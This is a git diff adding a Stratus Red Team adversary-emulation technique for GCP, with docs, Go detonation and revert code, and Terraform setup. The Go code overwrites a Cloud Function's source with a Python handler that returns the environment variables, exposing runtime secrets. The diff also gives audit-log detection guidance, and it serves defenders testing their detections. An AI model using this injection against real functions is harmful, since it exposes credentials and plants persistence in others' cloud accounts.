diff --git a/docs/attack-techniques/GCP/gcp.persistence.overwrite-cloud-function.md b/docs/attack-techniques/GCP/gcp.persistence.overwrite-cloud-function.md new file mode 100755 index 000000000..69f723177 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.persistence.overwrite-cloud-function.md @@ -0,0 +1,69 @@ +--- +title: Overwrite a Cloud Function with Malicious Source Code +--- + +# Overwrite a Cloud Function with Malicious Source Code + + slow + idempotent + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Persistence + + + +## Description + + +Replaces the source code of an existing Cloud Functions v2 function with code that +exfiltrates runtime environment variables. This simulates supply-chain or insider +attacks where an adversary with write access to the function's source bucket — or +direct Cloud Functions update permissions — modifies the function to harvest secrets +injected via environment variables, mounted Secret Manager secrets, or service account +token metadata available at runtime. + +The injected replacement function calls env and returns the output in +the HTTP response body, allowing an attacker to read any runtime secret by triggering +the function endpoint. + +Warm-up: + +- Create a Cloud Functions v2 function with a benign Python hello-world handler + +Detonation: + +- Build a replacement source zip in memory containing the malicious handler +- Upload the zip to the function's GCS source bucket +- Update the function's buildConfig.source.storageSource to reference + the new zip and trigger a redeploy + +Revert: + +- Update the function's buildConfig.source.storageSource to point back + to the original source object + +References: + +- https://cloud.google.com/functions/docs/deploying +- https://cloud.google.com/functions/docs/reference/rest/v2/projects.locations.functions/patch +- https://www.tenable.com/blog/confusedfunction-a-privilege-escalation-vulnerability-impacting-gcp-cloud-functions + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.persistence.overwrite-cloud-function +``` +## Detection + + +Identify unexpected Cloud Function source updates by monitoring for +google.cloud.functions.v2.CloudFunctionsService.UpdateFunction events in +GCP Admin Activity audit logs. Alert on updates where the source object changes, +especially when the new object name does not follow the project's naming conventions. + + diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index 39486cfbb..6c5627887 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -34,6 +34,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Backdoor a Cloud Function by Granting Public Invoke Access](./gcp.persistence.backdoor-cloud-function.md) + - [Overwrite a Cloud Function with Malicious Source Code](./gcp.persistence.overwrite-cloud-function.md) + ## Privilege Escalation diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 2510e4168..16d614dfb 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -113,3 +113,4 @@ This page contains the list of all Stratus Attack Techniques. | [Ransomware Simulation — Delete All GCS Objects in Batch](./GCP/gcp.impact.ransomware-gcs-batch-deletion.md) | [GCP](./GCP/index.md) | Impact | | [Ransomware Simulation — Encrypt GCS Objects Client-Side](./GCP/gcp.impact.ransomware-gcs-client-side-encryption.md) | [GCP](./GCP/index.md) | Impact | | [Ransomware Simulation — Delete GCS Objects Individually](./GCP/gcp.impact.ransomware-gcs-individual-deletion.md) | [GCP](./GCP/index.md) | Impact | +| [Overwrite a Cloud Function with Malicious Source Code](./GCP/gcp.persistence.overwrite-cloud-function.md) | [GCP](./GCP/index.md) | Persistence | diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index 50d1be9f2..55cf17db8 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -62,6 +62,7 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently Create a Workload Identity Federation Pool and ProviderInject a Malicious Startup Script into a Vertex AI Workbench InstanceDelete a GCP Log SinkBackdoor a GCS Bucket via Overly Permissive IAM PolicyRansomware Simulation — Encrypt GCS Objects Client-Side Invite an External User to a GCP ProjectDisable a GCP Log SinkRansomware Simulation — Delete GCS Objects Individually Backdoor a Cloud Function by Granting Public Invoke AccessReduce Log Retention Period on a Cloud Logging Sink Bucket +Overwrite a Cloud Function with Malicious Source Code diff --git a/docs/index.yaml b/docs/index.yaml index 88d880df9..09bde9459 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -791,6 +791,13 @@ GCP: - Persistence platform: GCP isIdempotent: true + - id: gcp.persistence.overwrite-cloud-function + name: Overwrite a Cloud Function with Malicious Source Code + isSlow: true + mitreAttackTactics: + - Persistence + platform: GCP + isIdempotent: true Privilege Escalation: - id: gcp.execution.modify-gce-startup-script name: Modify a GCE Instance Startup Script diff --git a/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.go b/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.go new file mode 100644 index 000000000..2ebaa3957 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.go @@ -0,0 +1,237 @@ +package gcp + +import ( + "archive/zip" + "bytes" + "context" + _ "embed" + "fmt" + "log" + "time" + + "cloud.google.com/go/storage" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + cloudfunctions "google.golang.org/api/cloudfunctions/v2" +) + +//go:embed main.tf +var tf []byte + +// maliciousSource is the Python source code that replaces the original function. +// It returns the process environment, demonstrating that injected code can access +// runtime secrets such as environment variables and mounted secret volumes. +const maliciousSource = `import subprocess + +def hello_world(request): + # Code injected via source overwrite + return subprocess.check_output(['env']).decode() +` + +// maliciousObjectName is the GCS object name used to store the injected source. +const maliciousObjectName = "stratus-red-team-injected-source.zip" + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.persistence.overwrite-cloud-function", + FriendlyName: "Overwrite a Cloud Function with Malicious Source Code", + Description: ` +Replaces the source code of an existing Cloud Functions v2 function with code that +exfiltrates runtime environment variables. This simulates supply-chain or insider +attacks where an adversary with write access to the function's source bucket — or +direct Cloud Functions update permissions — modifies the function to harvest secrets +injected via environment variables, mounted Secret Manager secrets, or service account +token metadata available at runtime. + +The injected replacement function calls env and returns the output in +the HTTP response body, allowing an attacker to read any runtime secret by triggering +the function endpoint. + +Warm-up: + +- Create a Cloud Functions v2 function with a benign Python hello-world handler + +Detonation: + +- Build a replacement source zip in memory containing the malicious handler +- Upload the zip to the function's GCS source bucket +- Update the function's buildConfig.source.storageSource to reference + the new zip and trigger a redeploy + +Revert: + +- Update the function's buildConfig.source.storageSource to point back + to the original source object + +References: + +- https://cloud.google.com/functions/docs/deploying +- https://cloud.google.com/functions/docs/reference/rest/v2/projects.locations.functions/patch +- https://www.tenable.com/blog/confusedfunction-a-privilege-escalation-vulnerability-impacting-gcp-cloud-functions +`, + Detection: ` +Identify unexpected Cloud Function source updates by monitoring for +google.cloud.functions.v2.CloudFunctionsService.UpdateFunction events in +GCP Admin Activity audit logs. Alert on updates where the source object changes, +especially when the new object name does not follow the project's naming conventions. +`, + Platform: stratus.GCP, + IsIdempotent: true, + IsSlow: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +// buildMaliciousZip creates an in-memory zip archive containing a single main.py +// with the malicious function source. +func buildMaliciousZip() ([]byte, error) { + var buf bytes.Buffer + w := zip.NewWriter(&buf) + + f, err := w.Create("main.py") + if err != nil { + return nil, fmt.Errorf("failed to create main.py in zip: %w", err) + } + if _, err = fmt.Fprint(f, maliciousSource); err != nil { + return nil, fmt.Errorf("failed to write main.py content: %w", err) + } + if err = w.Close(); err != nil { + return nil, fmt.Errorf("failed to finalize zip: %w", err) + } + + return buf.Bytes(), nil +} + +// waitForCFOperation polls a Cloud Functions long-running operation until it +// completes or the maximum number of attempts is reached. +func waitForCFOperation(ctx context.Context, svc *cloudfunctions.Service, opName string) error { + const maxAttempts = 40 + for attempt := 0; attempt < maxAttempts; attempt++ { + op, err := svc.Projects.Locations.Operations.Get(opName).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to poll operation %s: %w", opName, err) + } + if op.Done { + if op.Error != nil { + return fmt.Errorf("operation %s failed: %s", opName, op.Error.Message) + } + return nil + } + time.Sleep(5 * time.Second) + } + return fmt.Errorf("operation %s did not complete after %d attempts", opName, maxAttempts) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + functionName := params["function_name"] + sourceBucket := params["source_bucket"] + ctx := context.Background() + + // Build the malicious zip in memory. + zipBytes, err := buildMaliciousZip() + if err != nil { + return err + } + + // Upload the malicious source to the same GCS bucket used by the function. + storageClient, err := storage.NewClient(ctx, providers.GCP().Options()) + if err != nil { + return fmt.Errorf("failed to create Storage client: %w", err) + } + defer storageClient.Close() + + log.Printf("Uploading malicious source zip to gs://%s/%s\n", sourceBucket, maliciousObjectName) + writer := storageClient.Bucket(sourceBucket).Object(maliciousObjectName).NewWriter(ctx) + if _, err = writer.Write(zipBytes); err != nil { + writer.Close() + return fmt.Errorf("failed to write malicious source zip: %w", err) + } + if err = writer.Close(); err != nil { + return fmt.Errorf("failed to finalize malicious source zip upload: %w", err) + } + + // Patch the function to deploy from the injected source. + cfSvc, err := cloudfunctions.NewService(ctx, providers.GCP().Options()) + if err != nil { + return fmt.Errorf("failed to create Cloud Functions client: %w", err) + } + + log.Printf("Updating Cloud Function %s to use injected source\n", functionName) + op, err := cfSvc.Projects.Locations.Functions.Patch( + functionName, + &cloudfunctions.Function{ + BuildConfig: &cloudfunctions.BuildConfig{ + Source: &cloudfunctions.Source{ + StorageSource: &cloudfunctions.StorageSource{ + Bucket: sourceBucket, + Object: maliciousObjectName, + }, + }, + }, + }, + ).UpdateMask("buildConfig.source.storageSource").Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to patch Cloud Function %s: %w", functionName, err) + } + + log.Printf("Waiting for function update operation to complete\n") + if err = waitForCFOperation(ctx, cfSvc, op.Name); err != nil { + return fmt.Errorf("function update did not complete: %w", err) + } + + log.Printf("Cloud Function %s has been redeployed with injected source\n", functionName) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + functionName := params["function_name"] + sourceBucket := params["source_bucket"] + originalSourceObject := params["original_source_object"] + ctx := context.Background() + + cfSvc, err := cloudfunctions.NewService(ctx, providers.GCP().Options()) + if err != nil { + return fmt.Errorf("failed to create Cloud Functions client: %w", err) + } + + log.Printf("Restoring Cloud Function %s to original source %s\n", functionName, originalSourceObject) + op, err := cfSvc.Projects.Locations.Functions.Patch( + functionName, + &cloudfunctions.Function{ + BuildConfig: &cloudfunctions.BuildConfig{ + Source: &cloudfunctions.Source{ + StorageSource: &cloudfunctions.StorageSource{ + Bucket: sourceBucket, + Object: originalSourceObject, + }, + }, + }, + }, + ).UpdateMask("buildConfig.source.storageSource").Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to restore Cloud Function %s: %w", functionName, err) + } + + log.Printf("Waiting for restore operation to complete\n") + if err = waitForCFOperation(ctx, cfSvc, op.Name); err != nil { + return fmt.Errorf("function restore did not complete: %w", err) + } + + // Remove the injected source object. + storageClient, err := storage.NewClient(ctx, providers.GCP().Options()) + if err != nil { + return fmt.Errorf("failed to create Storage client: %w", err) + } + defer storageClient.Close() + + log.Printf("Removing injected source zip gs://%s/%s\n", sourceBucket, maliciousObjectName) + if err = storageClient.Bucket(sourceBucket).Object(maliciousObjectName).Delete(ctx); err != nil { + log.Printf("Warning: failed to delete injected source zip (may already be gone): %v\n", err) + } + + log.Printf("Cloud Function %s successfully restored to original source\n", functionName) + return nil +} diff --git a/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.tf b/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.tf new file mode 100644 index 000000000..9f94ccddd --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.tf @@ -0,0 +1,122 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + archive = { + source = "hashicorp/archive" + version = "~> 2.4.0" + } + } +} + +locals { + resource_prefix = "stratus-red-team-ocf" # overwrite cloud function + region = "us-central1" +} + +data "google_project" "current" {} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +resource "google_storage_bucket" "bucket" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + location = "US" + force_destroy = true +} + +data "archive_file" "source" { + type = "zip" + output_path = "/tmp/stratus-red-team-cf-source-ocf.zip" + source { + content = "def hello_world(request):\n return 'Hello, World!'\n" + filename = "main.py" + } +} + +resource "google_storage_bucket_object" "source" { + name = "source-${data.archive_file.source.output_md5}.zip" + bucket = google_storage_bucket.bucket.name + source = data.archive_file.source.output_path +} + +# Dedicated build service account so we don't touch the default compute SA. +resource "google_service_account" "build_sa" { + account_id = "${local.resource_prefix}-${random_string.suffix.result}" + display_name = "Stratus Red Team - Cloud Function Build SA" +} + +resource "google_project_iam_member" "build_sa_builder" { + project = data.google_project.current.project_id + role = "roles/cloudbuild.builds.builder" + member = "serviceAccount:${google_service_account.build_sa.email}" +} + +resource "google_project_iam_member" "build_sa_log_writer" { + project = data.google_project.current.project_id + role = "roles/logging.logWriter" + member = "serviceAccount:${google_service_account.build_sa.email}" +} + +# Cloud Functions v2 stages source code in a GCP-managed bucket before building. +# Custom build SAs are not granted access automatically — unlike the default +# compute SA — so we grant object viewer explicitly on that bucket. +resource "google_storage_bucket_iam_member" "build_sa_gcf_sources" { + bucket = "gcf-v2-sources-${data.google_project.current.number}-${local.region}" + role = "roles/storage.objectViewer" + member = "serviceAccount:${google_service_account.build_sa.email}" +} + +resource "google_cloudfunctions2_function" "function" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + location = local.region + + build_config { + runtime = "python311" + entry_point = "hello_world" + service_account = google_service_account.build_sa.id + source { + storage_source { + bucket = google_storage_bucket.bucket.name + object = google_storage_bucket_object.source.name + } + } + } + + service_config { + min_instance_count = 0 + max_instance_count = 1 + available_memory = "128Mi" + } + + depends_on = [ + google_project_iam_member.build_sa_builder, + google_project_iam_member.build_sa_log_writer, + google_storage_bucket_iam_member.build_sa_gcf_sources, + ] +} + +output "function_name" { + value = google_cloudfunctions2_function.function.id +} + +output "source_bucket" { + value = google_storage_bucket.bucket.name +} + +output "original_source_object" { + value = google_storage_bucket_object.source.name +} + +output "display" { + value = format("Cloud Function %s in region %s", google_cloudfunctions2_function.function.name, local.region) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 7d5c9805f..7f222edac 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -96,6 +96,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-service-account-key" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/invite-external-user" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/k8s/credential-access/dump-secrets" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/k8s/credential-access/steal-serviceaccount-token"